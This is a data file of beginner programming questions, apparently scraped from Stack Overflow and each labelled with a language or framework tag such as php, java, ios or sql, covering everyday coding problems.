passing the object type dynamically  i have this code that has the [ent] inside the using   <pre><code> public static void retion()         {              using (ent entitiescontext = new ent())                 {...}          { </code></pre>   i need to pass the [ent] dynamically  like this:   <pre><code> public static void retion(type ds)             {                  using (ds entitiescontext = new ds())                     {...}              { </code></pre>   this of course does not work. how to i change this so that i can pass it dynamically,c#
how to stream video from url autometically buffere and play on lower speed of internet in objective c  here is my code:       <pre><code>nsurl *fileurl = [nsurl urlwithstring:@ http://myglams.com/userupload/vv/osifevynhm.mp4 ];   movieplayercontroller = [[mpmovieplayercontroller alloc] initwithcontenturl:fileurl];  [movieplayercontroller.view setframe:cgrectmake(20  100  380  150)];  [self.view addsubview:movieplayercontroller.view];  movieplayercontroller.fullscreen = yes;  movieplayercontroller.allowsairplay = yes;  movieplayercontroller.shouldautoplay =yes;  movieplayercontroller.controlstyle  = mpmoviecontrolstyleembedded;  [movieplayercontroller play];//  cannot stream automatically its needs many play every time </code></pre>,ios
sort numeric in php  this sorts array :   <pre><code>sort($files  sort_numeric); </code></pre>   this sorts 1.jpg  2.jpg ... but what about 1.jpg  2.jpg  2-1.jpg  2-2.jpg. above function not sorts this type. how can i do this with sorts     thanks in advance,php
linearlayout orientation and button appearance  the button in the following coe snippet doesn t work unless the linearlayout s orientation is changed to  vertical . i find this behaviour peculiar. any answers/thoughts      file: activity_main.xml   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:orientation= horizontal      android:layout_width= match_parent      android:layout_height= match_parent      android:paddingbottom= @dimen/activity_vertical_margin      android:paddingleft= @dimen/activity_horizontal_margin      android:paddingright= @dimen/activity_horizontal_margin      android:paddingtop= @dimen/activity_vertical_margin      tools:context= com.example.androidquickstart.mainactivity  &gt;      &lt;edittext          android:layout_width= match_parent          android:layout_height= wrap_content          android:hint= enter your name          android:id= @+id/activity_main_name  /&gt;      &lt;button          android:layout_width= match_parent          android:layout_height= wrap_content          android:text= confirm name           android:onclick= confirmname  /&gt;  &lt;/linearlayout&gt; </code></pre>   sidenote: i tried testing the output in the emulator in my mac,android
how to get the first deposits  i need to find the data of the first time an user made a deposit in a website  i have 2 tables:    <strong>table 1:</strong> details on the user    id  user_id  user_name  registration_date  other_anagraphic_data    <strong>table 2:</strong> details on deposit and actions    id  user_id  action_date  deposit_amount  items  actions    now  an user can sign up in a date (data in table 1) and make a deposit in another date (even several weeks later)  or an user can make more deposits in the same days or it can do some actions without to make a deposit. (data in table 2)    at the end of the month i would like to get a list of users (and relative data in table 1) who made their first deposit within the specified month.    thanks for all the suggestions!,mysql
apply function to object filled with numbers  i have this simple function that adds a certain number of days to a given date and gets the new date:   <pre><code>var adddays = 401; var thedate = new date(2014  01  01); var mynewdate = new date(thedate); mynewdate.setdate(mynewdate.getdate() + adddays); console.log(mynewdate); </code></pre>   rather than doing one date at a time  i m now getting dates in an object like this: <code>{543 563 601 629 650 672 698 718}</code>    the question is how i can run all these days through this function to get an object with newly formatted dates. these numbers in the object would substitute for <code>adddays</code>. i know i need a for loop  but i m a little new to js to figure it out.,javascript
why i cannot parse  +1  to int   i am trying to parse <code>+1</code> value to an <code>int</code> value. in my code <code>+1</code> is a <code>string</code> and i am trying to convert it to <code>integer</code> using <code>integer.parseint</code>    <pre><code>string num =  +1 ; int convertednum = integer.parseint(num); </code></pre>   but i am getting error  why java is not treating <code>+1</code> as an integer value,java
can we store 4 as 04 integer using c   i have come across a problem to modify a number with alternating first and last digits.    here is the code:   <pre><code>/* take a integer as input and return integer made up of first digit  last digit alternatively. input: 123456 output: 162534  idea: 1) find the first digit and last digit of the number. 2) build the number. 3) remove the first digit and last digit from the original number. 4) remaining number is passed to next recursive call.  explanation: --&gt; firstlastalternate(123456); --------&gt; getfirstdigit(123456) -----------&gt; first digit: 1 --------&gt; getlastdigit(123456) ------------&gt; last digit: 6 --------&gt; buildnum(1  6  0) ---------------&gt; new_number: 16 --------&gt; removefirstandlastdigit(123456) -&gt; num: 2345 --------&gt; firstlastalternate(2345); ---------------------&gt; getfirstdigit(2345) -----------&gt; first digit: 2 ---------------------&gt; getlastdigit(123456) ------------&gt; last digit: 5 ---------------------&gt; buildnum(2  5  16) ---------------&gt; new_number: 1625 ---------------------&gt; removefirstandlastdigit(2345) -&gt; num: 34 ---------------------&gt; firstlastalternate(34); ----------------------------------&gt; getfirstdigit(34) -----------&gt; first digit: 3 ----------------------------------&gt; getlastdigit(34) ------------&gt; last digit: 4 ----------------------------------&gt; buildnum(3  4  1625) ---------------&gt; new_number: 162534 ----------------------------------&gt; removefirstandlastdigit(34) -&gt; num: 0 ----------------------------------&gt; firstlastalternate(0); ----------------------------------&gt; terminate condition(true) : print(new_number): 162534 */  #include&lt;stdio.h&gt;  /*find first digit. */ int getfirstdigit(int num) {     int firstdigit = num;     while(firstdigit &gt;= 10)         firstdigit = firstdigit / 10;     return firstdigit; }  /*find last digit. */ int getlastdigit(int num) {     int lastdigit = num%10;     return lastdigit; }  /*build the number. */ void buildnum(int firstdigit  int lastdigit  int *new_number) {     *new_number = (*new_number) * 10 + firstdigit;     *new_number = (*new_number) * 10 + lastdigit; }  /*remove the first and last digit from the original number. */ void removefirstandlastdigit(int *p) {     int y;     *p = *p/10;     y = *p;     int count = 0;     while(y &gt;= 10) {         y = y/10;         count++;     }     int i;     for(i=0; i&lt;count; i++)         y = y*10;     *p = *p-y; }  void firstlastalternate(int num) {     /*new_number is our modified number. */     static int new_number = 0;      /*termination condition. */     if(num == 0) {         printf( \n modified number is: %d   new_number);         return 0;     }     /*if num is not 0 and num is &gt;= 10. when num is not single digit. */     else if(num &gt;= 10){         int firstdigit  lastdigit  count;         firstdigit = getfirstdigit(num);         lastdigit = getlastdigit(num);         buildnum(firstdigit  lastdigit  &amp;new_number);         removefirstandlastdigit(&amp;num);         firstlastalternate(num);     }     /*if num is not 0 and num is &lt;= 10. when num is single digit. */     else {         int firstdigit = getfirstdigit(num);         /*         when num is only a single digit number  then first digit and the last digit are same. so we use only first digit and modify the number. otherwise it will create repeat.         */         new_number = new_number * 10 + firstdigit;         printf( \n modified number is: %d   new_number);         return 0;     } }  int main(void) {     int num;     printf( \n enter any number:  );     scanf( %d   &amp;num);     firstlastalternate(num);     return 0; } </code></pre>   it works for some inputs  but for any input that contains 0 in it  is not converted properly. like for 1042  it gives 124 as the output. it does that because it considers 04 as 4.    is there anyway we can differentiate between 04 and 4  is there any more better way to solve this problem,c
how to print out an associative array item   i would like to know how you can <code>echo</code> the ip-address of the user such that you can use it in your login cookie.    my code   <pre><code>&lt; php          echo  $_server[ remote_addr ] ;  &gt;  </code></pre>   i run it and i get in firefox   <pre><code>parse error: syntax error  unexpected t_encapsed_and_whitespace  expecting t_string or t_variable or t_num_string in /var/www/file7.php on line 2 </code></pre>   <strong>how can you get the ip-address by php </strong>,php
sql query: how do i change a value according to a lookup table   [update: i am using mysql 4.1.25 ]     i think this must be a simple thing to do  but i m a sql noob and need some help. i have a lookup table that is something like:   <h2>lookup_table</h2>   key1  value1<br> key2  value2<br> key3  value3<br> ...<br> keyn  valuen      then i have another table that has a random list of the keys (with repeats) in one column and i need to add the associated values in the corresponding column.     for example  the second table might be:   <h2>second_table</h2>   key3   <br> key1   <br> key1   <br> key40         i need to replace the  s in <code>second_table</code> with the values from <code>lookup_table</code> as follows:   <h2>second_table (updated)</h2>   key3  value3<br> key1  value1<br> key1  value1<br> key40  value40      this seems like something that a simple sql query should address. any suggestions,sql
php admin panel with users permissions  this is my first question here and i beleive the question is not exists already :) i searched but without succes.     ok  i have a next problem.  i need some idea how to do a users permissions in admin panel.  i want to have a super admin  admin and operator. anyone of this wiil have different privileges. super admin wiil have all privileges  admin some and operators some but not all will have the same privileges.  i need a back-end logic for this. how to do that without many if statements so my code looks nice   i use a smarty template engine and oop php writen by my own. i wiil assign with smarty privilege but what next   can anyone give me idea or some example code      thanks!,php
problem in reloading tableview  hi all    i am using   <pre><code>- (void)viewwillappear:(bool)animated {     [super viewwillappear:animated];      [tableview reloaddata];////not working } </code></pre>   but my table is not reloading.but when i put  [tableview reloaddata]; in viewdidload  my data didnt show up.    but on rerunning the app  whole data shown up... i m confused  what is happeneing here.plz suggest me a proper way to reload table.,iphone
deck of cards and shuffle method  i m trying to implement deck of cards and create a shuffle method for it. everything is working fine when i m writing it in the main method but when i m trying to do it using different methods then even after using shuffle method i m getting the original sequence of the cards (it is not shuffling). what i m doing wrong    <pre><code>import java.util.*;  public class deckofcards {      string[] suits = { spades    hearts    diamonds    clubs };     string[] ranks = { ace    2    3    4    5    6    7    8    9    10    jack    queen    king };      private int[] cards;     public deckofcards(){          cards = new int[52];         for(int i =0; i &lt; 52; i++){             cards[i] = i;         }     }      public void shuffle(int num){          for(int i = 0; i &lt; num; i++){             int m = (int)math.random() * cards.length;             int n = (int)math.random() * cards.length;              int t = cards[m];             cards[m] = cards[n];             cards[n] = t;         }      }      public void display(){         for(int i = 0; i &lt; 52; i++){             string suit = suits[cards[i]/13];             string rank = ranks[cards[i] % 13];             system.out.println(rank+  of  +suit);         }     }       public static void main(string[] args) {         // todo auto-generated method stub          deckofcards d = new deckofcards();         d.display();         d.shuffle(50);         d.display();      }  } </code></pre>,java
how to associate vibration with a button click  i have to following code    <pre><code>-(ibaction)dovibrate{     [self vibrate]; } -(void)vibrate{     audioservicesplaysystemsound(ksystemsoundid_vibrate); } </code></pre>   both <code>dovibrate</code> and vibrate are is same class .but when i am clicking the button associated to the <code>dovibrate</code> it device not vibrating . i have imported the <code>audiotoolbox/audiotoolbox.h</code> and <code>avfoundation/avfoundation</code>.    can some one tell me where i am wrong. thanks,objective-c
is there anyway i can view the asterisk mobile number on webpages   hi i wanted to ask that is thee any possible way in which i can preview the asterisk codes written on webpages(note: not the password box) in the web format page which has a mobile phone number written in asterisk code. like as the follow   <pre><code>[ p class= description ph-num-description medium &gt;                             &amp;lrm;(•••) •••-••48     &lt;/p&gt; ] </code></pre>,html
message from webpage  leave or stay  i have a php page with an html form that works fine in chrome and firefox  but in ie this popup shows up upon submitting the form:    <img src= https://i.stack.imgur.com/l4cg3.png  alt= enter image description here >    it s confusing because i don t have any sort of validation on the page  so what is it that returns false    <pre><code>&lt;form name= qualityform  action=   method= post &gt;      &lt;input type= hidden  name= process  value= yes  /&gt;      &lt;input type= hidden  name= ref  value= &lt; =$refvalue &gt;  /&gt;      &lt;input type= hidden  name= email  value= &lt; =$emailvalue &gt;  /&gt;      &lt;input type= hidden  name= interface  value= &lt; =$interface &gt;  /&gt;      &lt;input type= hidden  name= cemail  value= &lt; =$cemail &gt;  /&gt;           &lt;input type= hidden  name= greeting  value= &lt; =$greeting &gt;  /&gt;      &lt;table border= 0  width= 100% &gt;       &lt;tbody&gt;         &lt;tr class= dq_alltravelers   id= tr_qid12  height= 30 &gt;           &lt;td width= 30% &gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ over_all_satisfaction ] &gt;:&lt;/font&gt;&lt;/td&gt;           &lt;td width= 10%  class= detailsratings  onmouseover= ta.call(&amp;#39;ta.userreview.adddynamicratingobject&amp;#39;  event  this) &gt;&lt;label class= visuallyhidden &gt; &lt; =$language[$interface][ over_all_satisfaction ] &gt;               &lt;select name= over_all_satisfaction  id= over_all_satisfaction &gt;                 &lt;option value=  &gt;select one&lt;/option&gt;                 &lt;option value= 1 &gt; 1 &lt;/option&gt;                 &lt;option value= 2 &gt; 2 &lt;/option&gt;                 &lt;option value= 3 &gt; 3 &lt;/option&gt;                 &lt;option value= 4 &gt; 4 &lt;/option&gt;                 &lt;option value= 5 &gt; 5 &lt;/option&gt;               &lt;/select&gt;             &lt;/label&gt;             &lt;span id= qid12_bubbles  class= rate rate_s gs00 qid12 &gt; &lt;img src= &lt; php echo $pageurl; &gt;images/ratings-v7.png &gt; &lt;/span&gt;&lt;/td&gt;           &lt;td width= 20%  id= amenity_rating_bubble_text_qid12  style= color:#000; font-family:verdana  arial  helvetica  sans-serif; font-size:12px; font-weight:bold; &gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= dq_alltravelers   id= tr_qid12  height= 30 &gt;           &lt;td&gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ will_you_hire ] &gt; &lt;/font&gt;&lt;/td&gt;           &lt;td&gt;&lt;input type= radio  name= will_you_hire_us  value= yes  /&gt;&amp;nbsp;&lt;font style= font-size: 12px;  face= verdana &gt;yes&lt;/font&gt;&amp;nbsp;&amp;nbsp;&lt;input type= radio  name= will_you_hire_us  value= no  /&gt;&amp;nbsp;&lt;font style= font-size: 12px;  face= verdana &gt;no&lt;/font&gt;&lt;/td&gt;           &lt;td&gt;&amp;nbsp;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= dq_alltravelers   id= tr_qid12  height= 30 &gt;           &lt;td&gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ will_you_recommend ] &gt; &lt;/font&gt;&lt;/td&gt;           &lt;td&gt;&lt;input type= radio  name= will_you_recommend  value= yes  /&gt;&amp;nbsp;&lt;font style= font-size: 12px;  face= verdana &gt;yes&lt;/font&gt;&amp;nbsp;&amp;nbsp;&lt;input type= radio  name= will_you_recommend  value= no  /&gt;&amp;nbsp;&lt;font style= font-size: 12px;  face= verdana &gt;no&lt;/font&gt;&lt;/td&gt;           &lt;td&gt;&amp;nbsp;&lt;/td&gt;         &lt;/tr&gt;          &lt;tr&gt;&lt;td class= 3 &gt;&amp;nbsp;          &lt;/td&gt;&lt;/tr&gt;         &lt;tr class= dq_alltravelers   id= tr_qid13  height= 30 &gt;           &lt;td&gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ communication ] &gt;:&lt;/font&gt;&lt;/td&gt;           &lt;td class= detailsratings  onmouseover= ta.call(&amp;#39;ta.userreview.adddynamicratingobject&amp;#39;  event  this) &gt;&lt;label class= visuallyhidden &gt; &lt; =$language[$interface][ communication ] &gt;               &lt;select name= communication  id= communication &gt;                 &lt;option value=  &gt;select one&lt;/option&gt;                 &lt;option value= 1 &gt; 1 &lt;/option&gt;                 &lt;option value= 2 &gt; 2 &lt;/option&gt;                 &lt;option value= 3 &gt; 3 &lt;/option&gt;                 &lt;option value= 4 &gt; 4 &lt;/option&gt;                 &lt;option value= 5 &gt; 5 &lt;/option&gt;               &lt;/select&gt;             &lt;/label&gt;             &lt;span id= qid13_bubbles  class= rate rate_s gs00 qid13 &gt; &lt;img src= &lt; php echo $pageurl; &gt;images/ratings-v7.png &gt; &lt;/span&gt;&lt;/td&gt;           &lt;td id= amenity_rating_bubble_text_qid13  style= color:#000; font-family:verdana  arial  helvetica  sans-serif; font-size:12px; font-weight:bold; &gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= dq_alltravelers   id= tr_qid14  height= 30 &gt;           &lt;td&gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ quality ] &gt;:&lt;/font&gt;&lt;/td&gt;           &lt;td class= detailsratings  onmouseover= ta.call(&amp;#39;ta.userreview.adddynamicratingobject&amp;#39;  event  this) &gt;&lt;label class= visuallyhidden &gt; &lt; =$language[$interface][ quality_of_our_work ] &gt;               &lt;select name= quality  id= quality &gt;                 &lt;option value=  &gt;select one&lt;/option&gt;                 &lt;option value= 1 &gt; 1 &lt;/option&gt;                 &lt;option value= 2 &gt; 2 &lt;/option&gt;                 &lt;option value= 3 &gt; 3 &lt;/option&gt;                 &lt;option value= 4 &gt; 4 &lt;/option&gt;                 &lt;option value= 5 &gt; 5 &lt;/option&gt;               &lt;/select&gt;             &lt;/label&gt;             &lt;span id= qid14_bubbles  class= rate rate_s gs00 qid14 &gt; &lt;img src= &lt; php echo $pageurl; &gt;images/ratings-v7.png &gt; &lt;/span&gt;&lt;/td&gt;           &lt;td id= amenity_rating_bubble_text_qid14  style= color:#000; font-family:verdana  arial  helvetica  sans-serif; font-size:12px; font-weight:bold; &gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= dq_alltravelers   id= tr_qid15  height= 30 &gt;           &lt;td&gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ speed_of_our_work ] &gt;:&lt;/font&gt;&lt;/td&gt;           &lt;td class= detailsratings  onmouseover= ta.call(&amp;#39;ta.userreview.adddynamicratingobject&amp;#39;  event  this) &gt;&lt;label class= visuallyhidden &gt; &lt; =$language[$interface][ speed ] &gt;               &lt;select name= speed  id= speed &gt;                 &lt;option value=  &gt;select one&lt;/option&gt;                 &lt;option value= 1 &gt; 1 &lt;/option&gt;                 &lt;option value= 2 &gt; 2 &lt;/option&gt;                 &lt;option value= 3 &gt; 3 &lt;/option&gt;                 &lt;option value= 4 &gt; 4 &lt;/option&gt;                 &lt;option value= 5 &gt; 5 &lt;/option&gt;               &lt;/select&gt;             &lt;/label&gt;             &lt;span id= qid15_bubbles  class= rate rate_s gs00 qid15 &gt; &lt;img src= &lt; php echo $pageurl; &gt;images/ratings-v7.png &gt; &lt;/span&gt;&lt;/td&gt;           &lt;td id= amenity_rating_bubble_text_qid15  style= color:#000; font-family:verdana  arial  helvetica  sans-serif; font-size:12px; font-weight:bold; &gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr class= dq_alltravelers   id= tr_qid16  height= 30 &gt;           &lt;td&gt;&lt;font style= font-size: 12px;  face= verdana &gt;&lt; =$language[$interface][ value ] &gt;:&lt;/font&gt;&lt;/td&gt;           &lt;td class= detailsratings  onmouseover= ta.call(&amp;#39;ta.userreview.adddynamicratingobject&amp;#39;  event  this) &gt;&lt;label class= visuallyhidden &gt; &lt; =$language[$interface][ value ] &gt;               &lt;select name= value  id= value &gt;                 &lt;option value=  &gt;select one&lt;/option&gt;                 &lt;option value= 1 &gt; 1 &lt;/option&gt;                 &lt;option value= 2 &gt; 2 &lt;/option&gt;                 &lt;option value= 3 &gt; 3 &lt;/option&gt;                 &lt;option value= 4 &gt; 4 &lt;/option&gt;                 &lt;option value= 5 &gt; 5 &lt;/option&gt;               &lt;/select&gt;             &lt;/label&gt;             &lt;span id= qid16_bubbles  class= rate rate_s gs00 qid16 &gt; &lt;img src= &lt; php echo $pageurl; &gt;images/ratings-v7.png &gt; &lt;/span&gt;&lt;/td&gt;           &lt;td id= amenity_rating_bubble_text_qid16  style= color:#000; font-family:verdana  arial  helvetica  sans-serif; font-size:12px; font-weight:bold; &gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr height= 25 &gt;           &lt;td valign= top &gt;&lt;font style= font-size:12px;  face= verdana &gt;&lt; =$language[$interface][ comment ] &gt;:&lt;/font&gt;&lt;/td&gt;           &lt;td colspan= 2 &gt;&lt;textarea name= comment  class= element text medium  style= width:200px; height:100px;font-family: lato;font-size: 13px; &gt;&lt;/textarea&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;         &lt;tr&gt;&lt;td colspan= 3 &gt;         &lt;input type= submit  name= submit_form  value= &lt; =$language[$interface][ submit ] &gt;  class= button_text  style= font: bold 16px lato;color: #fff;background-color: #09bef2;width: 286px;border:0;height:26px /&gt;         &lt;/td&gt;&lt;/tr&gt;       &lt;/tbody&gt;     &lt;/table&gt;     &lt;/form&gt; </code></pre>   thanks,html
bulk insert using one model  i m trying to create a form using textarea and a submit button that will allow users to do bulk insert. for example  the input would look like this:   <pre><code>0001;mr a 0002;mr b </code></pre>   the result would look like this:   <pre><code>mysql&gt; select * from members;  +------+------+------+ |  id  |  no  | name | +------+------+------+ |   1  | 0001 | mr a | +------+------+------+ |   2  | 0002 | mr b | +------+------+------+ </code></pre>   i m very new to rails and i m not sure on how to proceed with this one. should i use <code>attr_accessor</code>  how do i handle failed validations in the form view  is there any example  thanks in advance.    <strong>update</strong>    based on <a href= https://stackoverflow.com/users/487906/missinghandle >missinghandle</a> s comment  i created a scaffold and replace the model s code with this:   <pre><code>class memberbulk &lt; activerecord::base    attr_accessor :member    def self.columns     @columsn ||= []   end    def self.column(name  sql_type = nil  default = nil  null = true)     columns &lt;&lt; activerecord::connectionadapters::column.new(name.to_s  default  sql_type.to_s  null)   end    column :data  :text    validates :data  :create_members  :presence =&gt; true    def create_members     rows = self.data.split( \r\n )      @member = array.new      rows.each_with_index { |row  i|       rows[i] = row.strip       cols = row.split( ; )        p = member.new       p.no = cols[0]       p.name = cols[1]        if p.valid          member &lt;&lt; p       else         p.errors.map { |k  v| errors.add(:data   \ #{row}\  #{v} ) }       end     }   end    def create_or_update     member.each { |p|       p.save     }   end end </code></pre>   i know the code is far from complete  but i need to know is this the correct way to do it,ruby-on-rails
ical to rss - php conversion  im looking for a way to convert a ical file to an rss feed  anyone know of anything existing that could help me achieve this,php
accessing locally stored (hidden from user  under library) file in ios  here is the <code>nsurl</code> object that i am using for creating and accessing important configuration file on ios with features:   <ul> <li>hidden from user</li> <li>not user generated file (storing configuration related to user)</li> <li>not temp or cache (not possible to create later with existing data)</li> <li> must be backed up by icloud/itunes   <pre><code>[nsurl fileurlwithpath:[[nssearchpathfordirectoriesindomains(                          nslibrarydirectory                           nsuserdomainmask                           yes) objectatindex:0] stringbyappendingstring:@ /important.txt ]]; </code></pre></li> </ul>  <hr>   as suggested in <a href= https://developer.apple.com/library/ios/documentation/filemanagement/conceptual/filesystemprogrammingguide/filesystemoverview/filesystemoverview.html  rel= nofollow >filesystemoverview (developer.apple.com)</a>  i am storing this file under <code>library</code>. maybe better way is storing it under <code>library/application support</code>.    using <code>nssearchpathfordirectoriesindomains</code>  which takes:   <ul> <li> <a href= https://developer.apple.com/library/ios/documentation/cocoa/reference/foundation/miscellaneous/foundation_constants/index.html#//apple_ref/c/tdef/nssearchpathdirectory  rel= nofollow ><code>enum nssearchpathdirectory</code></a>   <ul> <li><code>nsapplicationdirectory</code></li> <li><code>nsdeveloperapplicationdirectory</code></li> <li><code>nslibrarydirectory</code></li> <li><code>nsdeveloperdirectory</code></li> <li><code>nsapplicationsupportdirectory</code></li> <li>...</li> </ul></li> <li> <a href= https://developer.apple.com/library/ios/documentation/cocoa/reference/foundation/miscellaneous/foundation_constants/index.html#//apple_ref/c/tdef/nssearchpathdomainmask  rel= nofollow ><code>enum nssearchpathdomainmask</code></a>   <ul> <li><code>nsuserdomainmask</code></li> <li><code>nslocaldomainmask</code></li> <li><code>nssystemdomainmask</code></li> <li>...</li> </ul></li> <li> <code>bool expandtilde</code> </li> </ul>  <hr>   is this the correct way of storing such a file     there are couple of alternatives for <code>nssearchpathdirectory</code> and <code>nssearchpathdomainmask</code>.    also what about the <code>expandtilde</code>  on ios is it necessary     is there a better way of doing it  instead of creating path as a <code>nsstring</code> using <code>objectatindex</code> and appending file name then converting it to <code>nsurl</code>     thanks.,ios
python: how do i make a for loop append data to a list when the format is non-standard   i m looking to read some marker data into data structures using python. so far  i have successfully read every marker name into a single list (there are 2 000 of those).    the data i have was originally in excel  but i converted it into a .txt file.    the header data in the file was removed and assigned to variables using readline().    every line with a marker name begins with a double quotation mark ( ) so i was able to easily gain that information and store it as a list.     each line with the data for that marker is indented 2 spaces and there are lines that begin with either  a     b    or  h . i want to get these into a data structure. i ve tried both lists and strings  but both are returned as empty. the data under each marker name is a block with the three letters  a    b   and  h  with each letter representing an individual in a population (there are 250). the tricky thing is that there are 5 letters separated by a single space  but then those 5-letter blocks are separated from other 5-letter blocks by two spaces.    example:   <pre><code> bk_12 (a h b) ; 1    b a a a b  a b a a a  b a b a a  a a a a a  a a a b b  a a b a h  b      a a a a a  a a a a a  a a a a a  a b a a a  a h a a a  a a a a a  h   a a b a a  a h a a a  a h a h a  a a a a a  a a b a a  a a a a h  a   a a a b a  a a a a a  a a b a a  b b a b a  h a b a a  a b a a a  h    a a a a </code></pre>   that part i don t really need help with  but just included for reference of how the file looks. my ultimate goal is to use phenotype data to find markers associated with a specific phenotype.     i used a for loop to accomplish this so far. my code is below. edit: i tried indexing from position 2  rather an searching from position 0 for an empty space. i thought this would work. the else: statement was meant to tell me whether or not it was recognizing the elif statements. nothing was returned  so i m assuming it is working in that regard  but it isn t appending.    <pre><code>markers = [] genotype_data = []  for line in infile:     line=line.rstrip()     if (line[0] ==    ):         line=line.rstrip()         markers.append(line)     elif (line[2] ==  a ):         line=line.rstrip()         genotype_data.append(line)     elif (line[2] ==  b ):         line=line.rstrip()         genotype_data.append(line)     elif (line[2] ==  h ):         line=line.rstrip()         genotype_data.append(line)     else:         print( something isn t right! ) </code></pre>,python
rails not assigning a value for  created_at  attribute or for  id.   i m new to programming and have been learning ruby on rails for about 10 weeks. in the rails console  whenever i create a new instance of one of my models  all attributes come up nil:    <pre><code>2.0.0-p576 :002 &gt; list.create    (0.1ms)  begin transaction    (0.1ms)  rollback transaction  =&gt; #&lt;list id: nil  name: nil  user_id: nil  created_at: nil  updated_at: nil&gt; </code></pre>   isn t rails supposed to generate list id and created_at automatically when i create the model instance  hereis my schema file:    <pre><code>activerecord::schema.define(version: 20141124011011) do    create_table  items   force: true do |t|     t.string    body      t.integer   list_id      t.boolean   done         default: false     t.datetime  created_at      t.datetime  updated_at    end    add_index  items   [ list_id ]  name:  index_items_on_list_id     create_table  lists   force: true do |t|     t.string    name      t.integer   user_id      t.datetime  created_at      t.datetime  updated_at    end    add_index  lists   [ user_id ]  name:  index_lists_on_user_id     create_table  users   force: true do |t|     t.string    name      t.string    email                    default:     null: false     t.string    encrypted_password       default:     null: false     t.string    reset_password_token      t.datetime  reset_password_sent_at      t.datetime  remember_created_at      t.integer   sign_in_count            default: 0   null: false     t.datetime  current_sign_in_at      t.datetime  last_sign_in_at      t.string    current_sign_in_ip      t.string    last_sign_in_ip      t.string    confirmation_token      t.datetime  confirmed_at      t.datetime  confirmation_sent_at      t.string    unconfirmed_email      t.datetime  created_at      t.datetime  updated_at    end    add_index  users   [ email ]  name:  index_users_on_email   unique: true   add_index  users   [ reset_password_token ]  name:  index_users_on_reset_password_token   unique: true  end </code></pre>   i know this should be a simple question and i have searched for a while now for an answer  but haven t come up with anything. any help is appreciated.     here is the model:    <pre><code>class list &lt; activerecord::base   belongs_to :user   has_many :items    validates :name  length: { minimum: 5 }  presence: true   validates :user  presence: true end </code></pre>   i added values to list name and user so that it would pass validation  but i m still having the same problem.    <pre><code>2.0.0-p576 :001 &gt; list = list.create(name:  grocery list   user: user.first)   user load (2.6ms)  select  users .* from  users  order by  users . id  asc limit 1    (0.1ms)  begin transaction    (0.2ms)  rollback transaction  =&gt; #&lt;list id: nil  name:  grocery list   user_id: nil  created_at: nil  updated_at: nil&gt; </code></pre>,ruby-on-rails
php redraw page contents after radio button selected  i m new to php.     my php page is drawn using echo inside php tags. one of the pieces of content inside a php tag is table. this table needs to be refreshed if the user selects a radio button at the top of the page. how can i achieve it without redrawing whole page    <ol> <li>php tag opens</li> <li>echo for radio buttons creation</li> <li>echo for table creation</li> <li>echo for populating table contents</li> <li>php tag closes</li> <li>scripts</li> </ol>,php
open windows form from non ui thread  how do i properly open a windows form from a non-ui thread,c#
parameterized queries keep disappearing  i m trying to program a database  and i m using a mix of parameterized queries and stored procedures. mostly i m using pqs inside sprocs. i m doing each correctly  and getting the proper results. however  each time i log out of the mysql server and back in  the sprocs are still there  but it acts like i never programmed any pqs. it only works if i do the pqs all over again from scratch. i haven t seen anything either in lectures or online about pqs being temporary  so is there something i m doing wrong  thank you.,mysql
sql - how to extract the minimum of all the maximums  supposing i have a table  main :     <pre><code>cat  year   1   2010  1   2015  2   2012  2   2010 </code></pre>   i succeed to extract the maximum year by category with:   <pre><code>select cat  max(year) from main group by cat </code></pre>   and i would like to get the minimum of the maximum year values  namely 2012 (the third row).    something like that:   <pre><code>select min(select max(year) from main group by cat) </code></pre>   could someone help me,sql
angularjs routing in multilanguage app  i m trying to implement a multilanguage app. i need to access the requested language by adding a two letter iso parameter to the url before the controller name. for example: <a href= http://apppath/en/home  rel= nofollow >http://apppath/en/home</a> <a href= http://apppath/fr/home  rel= nofollow >http://apppath/fr/home</a> <a href= http://apppath/ar/home  rel= nofollow >http://apppath/ar/home</a>   <pre><code> $stateprovider          .state( home   {              url:  /home                templateurl: basetemplateurl +  home.html                controller:  homecontroller           })         .state( login   {             url:  /login               templateurl: basetemplateurl +  login.html               controller:  logincontroller          })       .state( customers   {           url:  /customers             templateurl: basetemplateurl +  customers.html             controller:  customerscontroller        })       .state( signup   {           url:  /signup             templateurl: basetemplateurl +  signup.html             controller:  signupcontroller        }); </code></pre>   i m using a basic stateprovider for routing right now. any idea how to change this to get this feature working     thank you in advance    <hr>   <strong>update</strong>   <hr>   for anyone having the same problem  my solution was:    changed each state to the following   <pre><code> .state( signup   {               url:  /:lang/signup                 templateurl: basetemplateurl +  signup.html                 controller:  signupcontroller                 resolve: {                   lang: [ $stateparams   function ($stateparams) {                       document.cookie =  lang=  + $stateparams.lang;                   }]               }           }); </code></pre>   i save the value of the $stateparams lang into a cookie so you can access it through the app.run() and pass it to my translationservice since the $stateparams is not initialized yet there.    this way your app will work only with html5mode=false. which means you will always see an ugly hashtag in the url (<a href= http://path/#/  rel= nofollow >http://path/#/</a>{lang}/{controllername} andto solve this  i configured the $locationprovider this way:   <pre><code> $locationprovider.html5mode(true).hashprefix( ! ); </code></pre>   and set the base url of the site by inserting inside the  tag of your index.html file this line:   <pre><code> &lt;base href= / &gt; </code></pre>   thanks,angularjs
